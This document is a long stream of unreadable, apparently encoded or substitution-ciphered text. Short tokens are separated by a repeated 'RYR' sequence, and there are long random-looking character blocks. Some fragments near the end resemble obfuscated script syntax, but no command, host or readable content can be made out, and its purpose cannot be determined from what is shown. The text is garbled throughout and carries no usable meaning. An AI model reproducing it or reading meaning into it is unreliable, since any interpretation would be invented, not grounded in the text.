%FNRYR/FNRYRK%JJJRYRK%JJJK/030RYRK%JJJ3F_RYR0KJJJRYR0KB0N0RYRB0_/L%_JJJRYR))>N3RYR))>N3RYR/VN))%0NWRYR03V/0RYR3FRYR%%I))BBNRYRFL/3FNRYRJV*L/3N3FB*V_B>0RYRJV*L/3N3V_B>0RYR0))WRYR03%__NWRYR0L))0VN%W))3NK%_RYR0VN%WRYR0L))0VN%W))RYR/))//30RYRJV*L/3N3V_B>0RYR0L))0VN%W))3NK%_RYRJV*L/;>]VVRYRJV*L/;>]VVRYRWN;NG0'G5G0'&"1#))Q)R	&"1G0'=G0'&"15&"1-&"1RYR3%_N))VN;G0'[G0'&"15&"1-&"1RYR&%*2Q**))CRYRJVWR\Y]RBNIRYRVN>))F%3LRYR&%*2Q**))C*CRYR%L3K%3NRYRW))%FN))NTNL3NWRYR6]6RYR/V3/06RYRHQPH.HPQQYH^RYR	S	YH./V3/))K%_BN.7P^)R.RYR.D	P	./V3/))%FN.[.RYR"%L3KN))V_B>0"RYR.S)RH.!.7^P.\#QH	RYRP^SSQY,RYRP^SSQY,RYRY^)R)RHRYR#QH	.RYR.	H./V3/))K%_BN.[.Z0.D	P	./V3/))%FN.[.RYR%L3K%3NRYRBVW%3N));%_RYRP^SSQY,RYR0))/TNL3RYRJVWRYR0))/TNL3RYR;BL3/))N030RYR>2;_%3NRYRV9LBU7;KSEH9W%;^9A%3S38!37IH970>/D!::0QW3:BT)RLYXH2BB;;L72+I39>H)RIHLA92;L89A40KE+YHX(SXW/YQB0!Q_NHU7	07_I9B	>P8EKK(!NH42I80J2X%,WBL#3U:\J\)RF<BKJ<PAXP4A48<D9)RL	FDLJA0HFJ<JD<ANLPKT3#)R2!ND#%JFX/(F4!W/F7K%<Y:8>)RTW(	B,H><#;<_EW23XTUS+EF9\LB	9H	T,9^N<F9(J^FIW	8>H\4<<H8:8D<:%U7Q%JP/F\2%TYK+_A:2S+%BB!0F!!AU,<!%;<#!H:)RI_;:KNY:H2JYFDH4N0BY%L3QDA^VF7F\S2:<BPJ2QTT+UKI2#2V,0A+:KN>N(4S9Y%^0WAIW\T<;#)RSB3S^BE:N	I##3\B>_X\/!%,FXKA<_<#2T8<2+3Y_\;B+F!I/P4!!JTYY^BAIDY9V!AJK<HQD#TYW(A9X>AQ0IQSL\_>K^+AN4HH;>)RADP80E)R)R9>J%!FE#SD#D;T\QDY#(B3!L_,F(+W_J/DS+>0\\0!3P80\Q	VHYQU\4,9V	+UE4!;EY:V^9P)R4NK^S0,N<2	9/YHHA2D30BU:7:UE<)RD03P/	,AFXTNJKKY;,#:074;N\(KD!0^U;><J!!_VV)RK:;9W,!YT%HJ3KV	%(;>X>N>W<,FW8#KYJ\!7W)R>:W8(+:A^UDL)RUQP0XSS!3V(U98NFHJ<X7J)R;P\+8_+X:+\N+JA9HN^BEAKH)R+VAJS9V>#7<YV(:J:8YF82#K	^2%V>VF3VFATFDPB+:9\L8^	Q,BA	<UW7:K^B3\AW\J>AT(+,:09V;HX;%+!K+H9QI+;TVA<I(UYXDJAH_AJ\8FW:L#E8J^<IV3BPY/8AHA/WA+8^8,WL8HK#	WV2_WH>4UF%U\J_	X>L!880	S0+A:H>TW03\(<VT7B	2;P2ELL%B)RS>NQ_P7TE<,/E38<9HK84Y+<D(9/K^4BPV79J#;<)R!W0JS/W(00UIVA#^;3B,(;U!9S^9S00%!JF0_%AA,2,08HLP><:TBI)R,0<S>HS0N+Q+^4TLWHEVVFD	F9BXP:)RFHIQY%;>7:I9D!W<P,%\+D_AI^,K3	II>UVNU;	/;_S0V7F)R!;K%K_D_N#%<2A%/FKKYTJ:2U)R,V,>I/T+_XFQ(F\;Q0<_Q_#,>^%FH/%!,	F2I0,YV\TX%;<!9P%W)R!I_4TB4(#N4+#74P__	^AV+H7#S%KQXP+QF^:(((,0WVQT09NK%W;IXB:U7JSJ	KY)RIU38+7%)R/U	S_Q:#:+)R_J%L)RUK+_L+%WEU0(KI;2K;9_KL9)R!U40(S>)R472:(	7DV07V97H,99%4B\Q4H;70F)RD#>Q^<%82U;4I^X^03A#K\(7L:	E9<Y(3J7\\;+YV8>,4Q__S,#H:W2QUS4B/;#43L<\H4E+:Y:_:N)RPE	LY\Q3/+%072VW4Q#YQ<_\K!%NP3!>8NJY/NF^/\<_Y9BX9E,T+_98<>IF/SL#U%JHT	Q^;7)R3	L_:7AWUUJ_99_X8<0!>AIB	)R%(JU^>8!	(9A!_SK!QK84;	003N2S%N%H;;_4,\D0U#BB72!	E0H/^>8E/L9P_!+YT93<VW	,!H2N:3(99IX^%_YS_V\#_:BF!W:_W)RXSD2\2L\3_E>L#Y!\I\8JI0VJ(UA/%,3^9TT(<^%PTJJ_3	,9NXN;>VT<9;EF(;L;;7EYSUK0B_9,7	_HH3+(8,:)RA_^29U/4/LV+DF)R_4BYT%APFNLWH%^7PYTB7;,XIQ)R7Q^_NJWQ)RE>S88NBIX+#EV2AXDT4>KH\EF)RHIDB7^:VT\NWYV8S0)R_<K(E7/)RW;:4S\SV,!JXF#P%:!)R9:V^WU<+I^>I\XW>^VY3SE:(E:XD,+7(#2\4H^9I%0N:L>^7D!X#%XD)R+Y:7\%B:4;/,VAITFQ_L)R3!WVTF(H:VN^#WSJ!73;PH%	I_:>DT;;7A2FB9)RXN8/NBJ:NQ_()RHK/:HI4<UV^VDQV!A;PTJ;B)RLTT#!	TJ4+D	A!VL09,:IFY4(QXX!<)RNB\NY,LHHUKJ)R	B%0	HHW^(X_4F_/ISK#8B;H4L083)RXE>V%+E,VS\FIDK/UQW>,\H4B:JE>T+EDU>9L/SKTJ[[RYR0))03>RYR2VRYR]2VRYR03RYRL/3N3))B_RYRJV*L/3N3RYR33VRYR33V0RYR03V/0RYR_3FRYR V[RYR V[RYR03RYRVN>))NV_%LNRYR 33V0  RYR0))03>RYR0L))0JRYR03_NRYR03_NRYR/RYRV%0N))B_RYR0B03RYRL/3%L30RYRVL0R\Y]R%WF%0NRYR2V\_RYR0_B>RYR03%__N\_RYRJ3N,NIRYRJARYRV%>NY/WNRYR0K))ANIRYR0))03>RYR03_NRYRT0/))NL/WNRYRK%.))))Y))^^H[8^]V%0N5%3/51RYRT0/))NL/WNRYR1--$RYRK%.))))Y))	Y[1RYR1$RYR0J))L/;>RYR0J))L/;>))0>RYRFWRYR0JRYR V[RYR0JRYR03V/0RYR_3FRYR0J))B_RYR/RYR0J))L%LNWRYR0))WRYR03))3V_RYR0JRYR03))3V_))F00>RYR0J))03RYR>N3))3%0N3RYR0))%%IRYR0))%%IRYR03_NRYR03_NRYRQQHRYR03))NVN%3RYR0L))0JRYR0L))0JRYR03_NRYR0))03>RYRV%>N))L%LNWRYR%WK%LNW*L%LN]VVRYR2_>FVWLBJJ4T2+%/A!3RYR;_N))N030RYR0J))0N3BVRYRVV))0%V))%FNRYR))>N3R\Y]R5/N-RYR03RYR]VVRYR]RYR0L))))WN%WRYRGRYR0));_NRYR;_N))>N3))L/3N30RYRVN>))NV_%LNRYRG %B3/))VNVNW));_NG0'[G0'&1" &1"GG'RYRVN>))B/3NRYR&1"GG'&1" G G RYR]0L))RYRD))Y^H	H))#PRYRRYRB))3V_))F00>RYRFWRYRGRYR;_N))>N3))L/3N30RYR0))03>RYR%B3/))VNVNW));_NG0'[G0'5&1" -5&1"GG-G!RYR/NRYR3I?ML_BWN))/LN.RYRK%))NV/3RYR$@L%3L5GH/J%_N.CN-?@L%3L5G	LNV3/.CN-?@.RYRC))0LV[W%FN5))))7S	))))-]1]RYR;5M0));_N5C))0LV--?C))0LL[M;_N))>N3))L/3N305C))0LV-$;50))03>5C))0LL--?RYR;503_N5C))0LL-!U<+4-C))0LL[VN>))NV_%LN5"5GGG'&*%*;?!=@G'G-C"=""=C))0LL-$RYR;50))03>5C))0LL-FW5C))0LL-[[["RYR"-?3I?ML_BWN))/LN.C))0LV$@L%3L5GH/J%_N.CN-?@L%3L5G	LNV3/.CN-?@@B0N35C))0LL-$@@B0N35C))0LV-$RYR;_N))>N3))L/3N30RYRFWRYR))J%VRYR;_N))>N3))L/3N30RYR0));_NRYR0L))));%_RYR0L))))WN%WRYRRYRLLB3))/VNRYR;_NF3FNRYR;_N))N030RYR0))03>RYRN%W));%_NWRYR03V/0RYR3FRYR%B3/))VNVNW));_N.[.1RYR0L))))VNW>RYR0L))));%_RYR/RYR0L))))WN%WR\Y]RV/N))RYR0L))));%_RYRRYRY))H))P	RYR0L))))VNW>RYR;BL3/))N030RYR))>N3RYR))>N3RYRB0N))]L%LN))33_RYR/RYR0L))));%_RYR0L))))VNW>RYR/RYRV/N))WN%WRYR]3%LLN00RYR^V3/0.*WNN0RYR7_N0)R%3L.1G]52VO_/>O0_-C1RYR;)R/WB_N.F/W))%B32))L/N]LRYRPNBN.%__.WNNWRYR;)R/WB_NRYR;)R/WB_N.F/W))%B32))L/N]LRYR#NI.;/F.%__RYR7_N0)R%3LRYR;_N))N030RYR;_N))>N3))L/3N30RYR3RYR]VVRYR3))3V_RYR0L))_%03));N3L))30RYR3RYR3))3V_))F00>RYR]3%LLN00RYR]3%LLN00RYR))>N3RYRB0N))];_N%FNRYR0));_NRYR0))03>RYR%B3/))VNVNW));_NG0'5 [OG0-G0'5&1" -5&1"GG-G!RYRVN>))NV_%LNRYRG VVRYR VV.3I?ML_BWN))/LN.RYR$@L%3L5GH/J%_N.CN-?@L%3L5G	LNV3/.CN-?@RYRVLN));%_RYR]3%LLN00RYR]3%LLN00RYR0L))3))WN%WRYR3FNRYR0))03>RYR3))_/%WNRYR;_N))>N3))L/3N30R\Y]R0L))3));%_RYR/RYRLLB3))/VNRYRVV))K%_BN.%B3/))VNVNW));_NRYR;_N))N030RYR;_/LARYR;BL3/))N030RYR;_/LARYR0));_NRYR;_/LARYR.1RYR.1RYR.1RYR;BL3/))N030RYRL/B3RYR/RYR0L))3))WN%WRYR0L))3))WN%WRYRQQHRYR;BL3/))N030RYR/V3RYRBVW%3N))/V3/RYR#))^HRYR#))\	PRYR#))QD^P#RYRL_%00))N030RYRFI0_RYR#))\	PRYR#))QD^P#RYR#))Q)R	RYRFI0_.RYR/V3RYR/LRYR]JV*/TNL3*L%LN*RYR]W%3RYR;_N02NRYR;_N))>N3))L/3N30RYRL/B3RYRY#!RYRBV%LARYR>2WNL/WNRYR03_NRYR03_NRYRFWRYR0))03>RYRG VVG0'RYR/L))FRYR'.Y))^Y))	ERYR.'RYR'.Y))^Y))	#R\Y]R VV.'.]JV*/TNL3*L%LN*RYR.'.'.Y^Y9RYRL%%I))%F));%_RYRY))^Y))	ERYR03V/0RYR]JV*/TNL3*L%LN*RYRY^Y95GWG]GWG]GW-RYR[RYRG GG'.Y))^Y))	E5&%*2Q**]))'RYR-.G'G]' GG'.Y))^Y))	#G!.G'GG 0RYRVLN));%_RYR/LRYRN0))L%VRYRL%%I))%F));%_RYR'.]JV*/TNL3*L%LN*RYRQQHRYR;_N))>N3))L/3N30RYRY#!5GWG]GWG]GW-RYR0L))/L))W%3))/ARYR0L))/L))W%3))/ARYRW%3))L/BV3RYR0))03>RYRY#!RYRFWRYR;3/ARYRJV*L/;>]VVRYR;3/ARYR0F/V))/VNRYR;3/ARYR%0RYR%0RYR0%4RYRFWRYRY)R!RYR03_NRYR0F/V))02NRYR0F/V))N%WRYR0))03>RYR03V/0RYR0F/V))L_/0NRYR0F/V))J3NRYR03))V%WRYR0F/VRYR0F/V))WN_N3NRYR0F/V))/VNRYR03))V%WRYR0))03>RYRG VVRYR0B03RYRG0'5WNL_%NG0'G5]' G-G0'$O%FN0V%LNG0&$?G0'$-0R\Y]R0B03RYR0B03RYR VV.RYR;BL3/))N030RYR0L))N0))RYR03V/0RYR>N3))/V3/RYR;BL3/))N030RYRBVW%3N))/V3/RYR0))03>RYRNV_/WNRYRW/VRYR3B>))/;))J%.RYR%0N%FNRYR]VVRYR2VRYR;3/ARYR3K%_RYRY))Q#9S))RYR%WKRYR%WK))3V_))F00>RYR;_N))>N3))L/3N30RYR0))03>RYR%WKRYR%WK))FRYR'.Y))Q#9))	ERYR'.Y))Q#9))	#RYR.'RYRVN>))NV_%LNRYRGG'.Y))Q#9))	E5&%*2Q**]))'RYR-.G'G]' GG'.Y))Q#9))	#G!.G'G0RYRY))Q#9))S^Q#	#RYR03V/0RYR03V/0RYRVN>))NV_%LNRYR&.G3';G0'G5G0'WN;NWG0'G5G0'&1"Y))Q#9))S^Q#	#&1"G0'G-G0'G-G0'N3BG0'$&GG'RYR%WKRYRVN>))NV_%LNRYR%WKRYR%WKRYR%WKRYRL%%I))%F));%_RYRP	X\	H)))R	H^#RYR0L))>B%WRYR0))J3%_NRYRJV*L_BWN0RYR]>))RYR]>_))RYR]>))RYR;_NF3FNR\Y]R3FNRYR3FNRYR]>))RYRJV*L_BWN0RYR3FNRYR]>K))RYR;_N))>N3))L/3N30RYRVN>))F%3LRYRGWG]GWG]GWCRYR]>0))RYR3FNRYR>B%WRYRN%V))0B0VNL3NWRYR3FNRYR/))03%3B0RYR]VVRYR0))J3%_NRYRD)R\))S\E))#PRYRV_B>0RYRD))Y^H	H))#PRYR>B%WRYR%0N4U))NL/WNRYR%0N4U))NL/WNRYR%0N4U))NL/WNRYR%0N4U))NL/WNRYR%0N4U))NL/WNRYR%0N%FNRYR0L))_%03));N3L))30RYR>B%WRYR>B%W))3V_))F00>RYR>B%W))3V_))K%_WRYR]>F))RYRFWRYR]>K))RYR>B%WRYR0B03))L/B3RYR03_NRYR03_NRYR0))03>RYR03_NRYRW0A));NN))0V%LNRYR0L))V%W))/;;))30RYR3FNRYR3FNRYR03_NRYR0B03RYR RYR%W/F))I3N0RYRNRYR03_NR\Y]R'RYR0))03>RYR5G GGG'&*%*;?!=@G'G-CRYR0))03>RYR;BL3/))N030RYR>N3))/V3/RYR0))03>RYR0));_NRYR0L))/J))FRYR0L))/J))FRYR0L))/J))F%;N03RYR0))%%IRYR;_N))>N3))L/3N30RYRFWRYR0L))/J))F%;N03RYR0L))/J))FRYR;BL3/))N030RYR0L))/J))F%;N03RYRFWRYRF/W;NWRYR;_N))>N3))L/3N30RYRVN>))F%3LRYR_N>%LIRYR03_NRYR0B03RYR/J))RYR/JRYR]VVRYR;BL3/))N030RYR0L))/J))NLRYR0))%%IRYR0B03RYRNRYRNRYR03%3>RYR/ARYR03%3NRYR//3))30RYR//3))30RYR>NRYR03%3))30RYRP	X\	H))H)R	RYR0L))/J))NLRYR/RYR0))%%IRYRV%3RYR0))03>RYRV%3RYR0));_NRYR;_N02NR\Y]R//3))30RYR/ARYRBA/JRYR;%_RYRWN%WRYRBA/JRYR;_N02NRYR;_N))>N3))L/3N30RYR0))03>RYR5GG'&*%*;?!=@G'G-G0'CRYR;_N))>N3))L/3N30RYR]VVRYR]))RYR0));_NRYR;_NF3FNRYRFWRYRBVW%3N))/V3/RYR0L))WN;NNW))WN_RYR%%I))0_LNRYR]_A>RYR]_A>RYRL/VIRYR]_A>RYR0))03>RYRVN>))F%3L))%__RYR%0N4U))WNL/WNG5G0'"5&Q*%*2*G[?!=@-"G0'G-RYRVN>))F%3L))%__RYR5 >2WNL/WNO>2;_%3NO>2BL/FVN00-G5G0'155 &1GG'5 GG]&1GG'-'--10RYRGRYRGG5&*%*;Q*7?@-RYR3AF2J>F;J!))A2<UWRYR5 >2WNL/WNO>2;_%3NO>2BL/FVN00-G5G0'"55 &"GG'5 GG]&"GG'-'--"0RYR03))NV_%LNRYRGGRYRG"RYR0))03>RYR>2RYR03V/0RYR03V/0RYRVN>))F%3L))%__RYR03V/0RYR0))03>RYR0))03>RYRGG'.Y95GWG]GWG]GW-.G'GRYR0B03RYR0))03>RYR'.RYR&%*2Q**]))CRYR0B03RYR'.R\Y]R))	#RYR03_NRYR3))FRYRGG'.Y))H))	E&%*2Q**]))'RYR.G'GRYR0))03>RYRY))HRYR2!J4+3NB%_LWVI2RYRY))##RYRBATIJ440T2<RYR0))03>RYRGGY))H))S#))&%*;*))G G&G'CRYR>40+FT_LW0B:!:T<RYRY))##RYR0))03>RYR3))FRYRGG'.Y))H))	E5&%*2Q**]))-.G'GRYRWWRYRGG'.Y))##))	E5&%*2Q**]))-.G'GRYR0L))LRYR0L))L%%IRYR0))%%IRYR0L))LRYR%0))NB%_0RYR**RYR;BL3/))N030RYR_WRYR3FNRYR;BL3/))N030RYR3NF0RYR3N0RYR3FNRYR3N0RYR3NF0RYRL%%IRYR%A))J3N));%_RYR3))RYR]%ARYR%A))J3N));%_RYR3FNRYR3N0RYRL/B3RYR3NF0RYR0L))L%%IRYRBILA/%))/WIU!RYRJV))NF/3N))>N3RYRNWNL3/RYR/*03/N=./*L%LNRYR%>F%RYR;BL3/))N030R\Y]R0))JV))N/RYRJV))NF/3N))N3NKN))N0V/0N))L/WNRYR;BL3/))N030RYRJV))NF/3N))N3NKN))/WIRYR;_N))>N3))L/3N30RYR0));_NRYR>N3))/V3/RYR3NF0RYR30RYR;%03L>));0))NBN03RYR_3N0VNNW));0))NBN03RYR_3N0VNNW));0))NBN03RYR>/N))B0N))%/3RYR>/N))B0N))%/3RYRJV))NF/3N))>N3RYRJV*_/>]VVRYR3FNRYRBKN;NW))ANNV.RYR 0L))L[RYR%JB_NL/WNRYR))[RYR;BL3/))N030RYR/__%LA)).RYR3NF0RYR03V/0RYR**Y,RYR**RYR03V/0RYR0L))L[RYR/__%LA))_/>.RYR3NF0RYR_WORYR3FNRYR_))_WRYR3NF0RYR0))03>RYR03V/0RYR0L))_))F/WNRYR/AORYR/RYR0))03>RYR03V/0RYR))0L));%FRYRY))H))	ERYR]0W))RYRY)R!RYRY9RYRY))5 #OQ#9O^Y-))	E5GWG]GWG]GW-RYR0JNNVRYRNB3%_2N));/N>))0AV.R\Y]R;_N))VB3))L/3N30RYR;_N))>N3))L/3N30RYR03_NRYRVN>))NV_%LNRYR&.G3'GG'.Y))5#OQ#9O^Y-))	E5&%*2Q**]))-.G'G]' GG'.Y))G!))	#G.G'G&.G3'G G 0RYR0))03>RYR;_NF3FNRYR0LWRYR/VL%LN))K%_W%3NRYR0))03>RYR0));_NG5G0'"5&"-"G0'G-RYR0))03>RYRQQHRYRW%FNRYRWW));/N>))0AV.RYR0NKN))ANIRYRF/LAK,NI*RYRQQHRYRJV*L/;>]VVRYR0));_NRYR0));_NRYR0))J3%_NRYRN%_V%3RYR0))J3%_NRYR;_N02NRYR;_N))>N3))L/3N30RYR0))03>RYRD))Y/N))3N>3IRYR3FVVVRYR03V/0RYRD))H	)R))#PRYR0L))3FV));NWRYR0I0))>N3))3NFV))WRYR0I0))>N3))3NFV))WRYR3FVRYR0))WRYR0))J3%_NRYRWN;NG0'G5G0'&"1D))YQY	&"1RYR;_N))>N3))L/3N30RYRY))Q#9))	ERYR03V/0RYRWN;NG0'G5G0'&"1QQH&"1&G'GWN;NG5."D))YQY	"=.3BN.G-$GRYRWN;NG0'G5G0'&"1D))#	\E&"1G0'=G0'3BNG0'G-RYRWN;NG0'G5G0'&"1D))#	\E))S^E&"1G0'=G0'3BNG0'G-RYRVN>))F%3LRYRWN;NG0'G5G0'&"1D))#	\E))#SQ&"1G0'=G0';%_0NG0'G-RYR&.G3'GG'.D))Y/N))3N>3I.5&%*;*-.G'G]' GG'.	W*D))Y/N))3N>3I.G!.G'G&.G3'G G 0RYRFV_/WNRYR&.G3'GG'.D))Y/N))3N>3I.5&%*;*-.G'G]' GG'.	W*D))Y/N))3N>3I.G!.G'G&.G3'G G 0RYRVN>))F%3L))%__R\Y]R&.G3';G0'G5G0' G0';_N))N030G5G0'"G3FVGVV&Q*%*2*"&G'G5&.G3';G0'G5G0'GC))/&G'G- FRYRVN>))NV_%LNRYRWN;NG0'G5G0'&"1QQH&"1&G'GRYR5WN;NG0'G5G0'&"1QQH&"1&G'G-RYRC!RYR0))03>RYRVN>))F%3LRYRVN>))NV_%LNRYR5WN;NG0'G5G0'&"1QQH&"1&G'G-RYRC!RYRVN>))NV_%LNRYR5WN;NG0'G5G0'&"1QQH&"1&G'G-WN;NG5."D))YQY	"=.3BN.G-$GRYR&.G3'WN;NG0'G5G0'&"1D))#	\E5))S^EO))#SQ- &"1G0'=&G'GFRYRVN>))F%3LRYRVN>))NV_%LNRYRC!RYR0))03>RYRJVLRYR5WN;NG0'G5G0'&"1QQH&"1&G'G-WN;NG5."D))YQY	"=.3BN.G-$.GG'.Y))DY.G'GGRYRC!RYR0LJRYRLF/WRYR"5G3FVGVV&Q*%*2*-"RYR03V/0RYRWN_N3N))/V3/RYR/V3/))%FNG0'[G0'"5&"-"RYR%%I))BBNRYR))03N))3%0N3))5N%_3O;NNW-))&%*;*CRYRD))Y^H	H))#PRYRFB*V_B>0RYR;BL3/))N030RYR>_/RYR0))WRYR'']VVRYR]0L))RYRL/N))RYR0));_NRYRN%_V%3RYRN%_V%3RYRY9RYRVN>))F%3LRYRGG'.Y95GWG]GWG]GW-.G'GRYR;/N>))0AV.RYR%0N%FNRYR/VL%LN))K%_W%3NRYR%0N%FNRYR>_/RYR>_/RYR';BL3/0]VVRYR0));_NR\Y]R;_N02NRYR03V/0RYRY))H))	ERYR03V/0RYRY))##))	ERYRY))H))S#))RYRWN_N3N))/V3/RYR/0NVVNN_BRYR/V3RYRBKTJ>JU:B2:A))))RYR!>L!IF3N24!RYR;BL3/))N030RYRT2))__2243I2%WJAFKRYR/RYR0L))//3))3ARYR//3RYR_N>%LI))3%AN/KNRYR;BL3/))N030RYR30RYR0))%%IRYRN>03N))0B3W/J));BL3/RYR_NRYR]3%LLN00RYR;BL3/))N030RYRB0N))];_N%FNRYR0))03>RYR_WRYR3FRYR_NRYR]JV*/TNL3*L%LN*RYR0L))VN003))F%;N03RYR03%3RYR02NRYRF3FNRYRVN>))F%3LRYRGO5GW-CRYR0B03RYR0B03RYR0B03RYR0));_NRYR;_N02NRYR0));_NRYR;BL3/))N030RYR]VVRYRW]VVRYR;BL3/0]VVRYRORYR0B03RYRORYROR\Y]RVN003RYR>RYR;_N))>N3))L/3N30RYR3_RYR]VVRYR]VVRYR%WK%LNW*L%LN]VVRYRY))#RYR;_N))>N3))L/3N30RYRVN>))NV_%LNRYR;_N))>N3))L/3N30RYRY^Y9GWG]GWG]GWRYR0B03RYR03V/0RYRG GG'.Y))^Y))	E5&%*2Q**]))-.G'G]' GG'.Y))^Y))	#G!.G'GG 0RYRL%LNRYRBV_/%W0''RYR>_/RYR3NFN0'RYRJV*L_BWN0RYR>_/RYR']VVRYRJV*L_BWN0RYR]>))RYRK%_RYR;BL3/))N030RYR>_/RYR]>_))RYR]>0))RYR]>A))RYR]>V))RYR]>3))RYR]>F))RYR]>K))RYR]>0B))RYR]>W))RYR]>))']VVRYR]3%LLN00RYR;_N))>N3))L/3N30RYR%B3/))VNVNW));_NRYRG ;)R/WB_N.F/W))VV&*]'G]LG0'VV))K%_BN.%B3/))VNVNW));_N&G'RYR&G'GG;)R/WB_NG RYRG VV))K%_BN.%B3/))VNVNW));_N&G'RYR&G'G RYR0))03>RYRJV*L/;>]VVRYR0));_NRYRW%FNRYRJV*L/;>]VVRYRY))DYR\Y]RVN>))NV_%LNRYR&.G3'WN;NG0'G5G0'&"1D))YQY	&"1G0'=G0'3BNG0'G-G0'$G0'GG'.Y))DY.G'G&.G3'G G RYR;_NF3FNRYRB0N))];_N%FNRYR]B0N]RYR;_N))>N3))L/3N30RYRVN>))NV_%LNRYR%B3/))VNVNW));_NG0'[]'RYRVN>))B/3NRYR]'GRYR%%I))W;;RYR0));_NRYRY))HRYR>40+FT_LW0B:!:T<RYRY))##RYR;3/ARYR0F/V))WN_N3NRYR;BL3/))N030RYR>N3))/V3/RYR0L))L%%IRYR0))%%IRYR3NF0RYR0))%%IRYR3NF0RYR0L))/L))W%3))/ARYR0L))3))WN%WRYR2_>FVWLBJJ4T2+%/A!3RYR0L))>B%WRYR;BL3/))N030RYRJV))L_N%))0LNWB_NW))//ARYRK<WI_34+4N!<B>RYR0L))L/))>B%WRYRK%_W%3NRYR]VVRYR03_NRYRW))FRYR'.Y))#))	ERYR'.Y))#))	#RYRW))FRYRGG'.Y))#))	E5&%*2Q**]))'RYR-.G'G]' GG'.Y))#))	#G!.G'G0RYR03V/0RYRY))#))S^Q#	#RYRVN>))NV_%LNRYR&.G3';G0'G5G0'WN;NWG0'G5G0'&1"Y))#))S^Q#	#&1"G0'G-G0'G-G0'N3BG0'$&GG'RYRY))#S))RYRFWRYRW))3V_RYR0L))_%03));N3L))30RYRW))3V_))F00>R\Y]RG VVG0'RYR03_NRYRL%%I))%F));%_RYRJV*L/3N3RYR3NFN0RYR>N3))/V3/RYR3K))RYR3NFNRYRK%0))N03/NWRYR0L))3))WN%WRYRQQHRYR0L))3))WN%WRYR'.Y))H))	ERYR.'RYR'.Y))H))	#RYRY))HS))RYR0B03RYR]VVRYR3NFN))3V_))F00>RYRVN>))NV_%LNRYR;_/LARYR3NFNRYR;BL3/))N030RYR;_/LARYR3K))RYR]%ARYR3))FRYRK+:WA:FB!23LVW<RYRVN>))NV_%LNRYRGGY))H))S#))&%*;*))G G&G'CRYR3NFNRYRVLN));%_RYR03V/0RYRY))H))	ERYRY))H))S#))RYR/V%RYR0))03>RYR RYR3FRYR03_NRYR]2VRYR]VVRYR0L))NFV3IRYRVQLKNRYRBV_/%W0RYRW%3NRYRFRYRD))Y^H	H))#PRYR;_N))N030RYR;_N02NR\Y]RJV))N3))0LNWB_NWRYRQQHRYR/B_IRYR3FNRYR0L))>B%W))3NK%_RYRL/))0N3BVRYRJF33;/IK<:><RYRJV*L_BWN0RYR0));_NRYR;_NF3FNRYR]>))RYR0));_NRYR3FNRYR0));_NRYRFW));_NRYR0L))>B%WRYRL/))>B%WRYRQQHRYR;_N02NRYRTJ))<0+BTATU+NRYR0))03>RYR/V3RYR03_NRYR;BL3/))N030RYR%L3KN))V_B>0RYR))%%IRYR%L3KN))V_B>0RYR]VVRYRVN>))F%3LRYR0B03RYRFWRYRL/))NLRYR03RYR0));_NRYRHH!]!.UU./3.7/BWRYR;BL3/))N030RYR>N3))/V3/RYRBVW%3N))/V3/RYR/RYR3FNRYR/RYRVN>))F%3LRYRG0'5 G5OGG'OGGOK%.O_N3.OL/03.O;BL3/.O0N_;G]-RYR&Q*%*2*G[GGCRYR03_NRYR03_NRYRY/3N3*HIVN.%VV_L%3/T%K%0LV3RYRNKLN*D/AN*Q__/JNW.RYRHH!]!.U./.Y/3N3RYR0J))L/;>R\Y]RHH))7))^	)))RQHYRYRHH!]!.:U./3.)R/W;NWRYR	H%>.RYRNKLN*D/AN*Q__/JNW.RYRY%LN*Y/3/_./*L%LNRYR	H%>.RYR0J))NVRYR0L))KN;IRYR0))03>RYR;BL3/))N030RYR/FN))B_RYRV%0N))B_RYR;BL3/))N030RYR>N3))/V3/RYR03NB_RYRHH))^HRYR0))03>RYRGWCRYROKN;IRYR0L))0NF%3L))V/NORYRY/3N3*HIVN.3N3V_%RYRY%LN*Y/3/_./*03/NRYRY))	)RRYRFWRYRY))	)R))7QSRYRKN;I))NVRYR;BL3/))N030RYR/LAN3))L_N%))W/F%RYRJ:3L));_B0))%__RYR0>))L%LNVN00))VB>N))L%LNRYR_3N0VNNW))VB>N))%__RYRS3NVNNW))Y%LN))QRYRS3NVNNW))Y%LN))QRYRVB>N))%__RYRNN2N))B>NY%LNRYRFN3/W))N030RYRNN2N))L%LN));_B0RYRFN3/W))N030RYRL_N%))3/3%_))L%LNRYRJV;L))L_N%))%__))L%LNRYR0))/TNL3RYRWN_N3NY%LNRYRJV))L%LN))L_N%))L%LNRYR%B3/V3F2NY%LNRYR%B3/V3F2NY%LNRYRL_N%%__RYRVB>N))/))T0))L%>NRYR0))%WFRYRJV))W/>))%T%RYRP	H))P	X\	HR\Y]R()RSPY))P	X\	HRYR0));NNWRYR0))//30RYR0))03NF%V0RYR0))LB03/F2N))VNKNJRYRN_NFN3/*VNKNJRYRLB03/F2N))L%>N0N3))BBWRYR;_))B_WNRYR03))NV_%LNRYR0LV3RYRG0LV3RYR/FN))B_RYR;BL3/))N030RYR>N3))/V3/RYRBVW%3N))/V3/RYR0L))T0))V3))/3NRYR0L))T0))V3))/3NRYR3FNRYR0L))T0))V3NWRYR/WIRYR3F_RYR0L))T0))/RYR0))03>RYR0L))T0RYR0L))T0RYR/))03%3RYR<L_NANI+!%<4FAL+RYRV%>N/JRYRV%>N/JRYRJV*_/>]VVRYR0L))0J))_%03))B_RYR0LV3.W%3%*0L*RYRK%.W[;BL3/5-?K%.[11=$;/5[$]_N>3$[-[3>];/FY%Y/WN5V%0N35]0B035=-=!4--$N3B.@=RYR0J[%K>%3/&W51RYR0NKLND/ANRYR1-=RYR_B[RYR;50J-0J&W51RYR>N3PN>03%3/0RYR1-5-]3N5;BL3/50-?0];/	%L5;BL3/5-?K%.F[_B$RYR;5F-&W51RYR%L3KNRYR1-=W51RYRJ%3>RYR03%__>RYR1-];/	%L5;BL3/5A-?;5&A&A&W51RYR0LV3\PSRYR1-[[[_B-F[!@-$RYR;5F-&W51RYRBN>03NR\Y]R1-5-@-@-&W51RYRL%3LRYR1-5;BL3/5-?@-RYR0LV3RYR03))NV_%LNRYR;BL3/))N030RYRV%0N))B_RYR3FRYR0LV3.W%3%*0L*RYRK%.W[;BL3/5-?K%.[11=$;/5[$]_N>3$[-[3>];/FY%Y/WN5V%0N35]0B035=-=!4--$N3B.@=RYR1-$RYR;50J-?RYR0J&W51RYR>N3PN>03%3/RYR1-5RYRT0/))NL/WNRYR]3N5;BL3/5-?;5-0J&W51RYRN>03NRYR=?0L/VNRYR@-&W51RYRL%3LRYR1-5;BL3/5-?@-@-RYR&W51RYRL%3LRYR1-5;BL3/5-?@-$RYR%WW	KN3S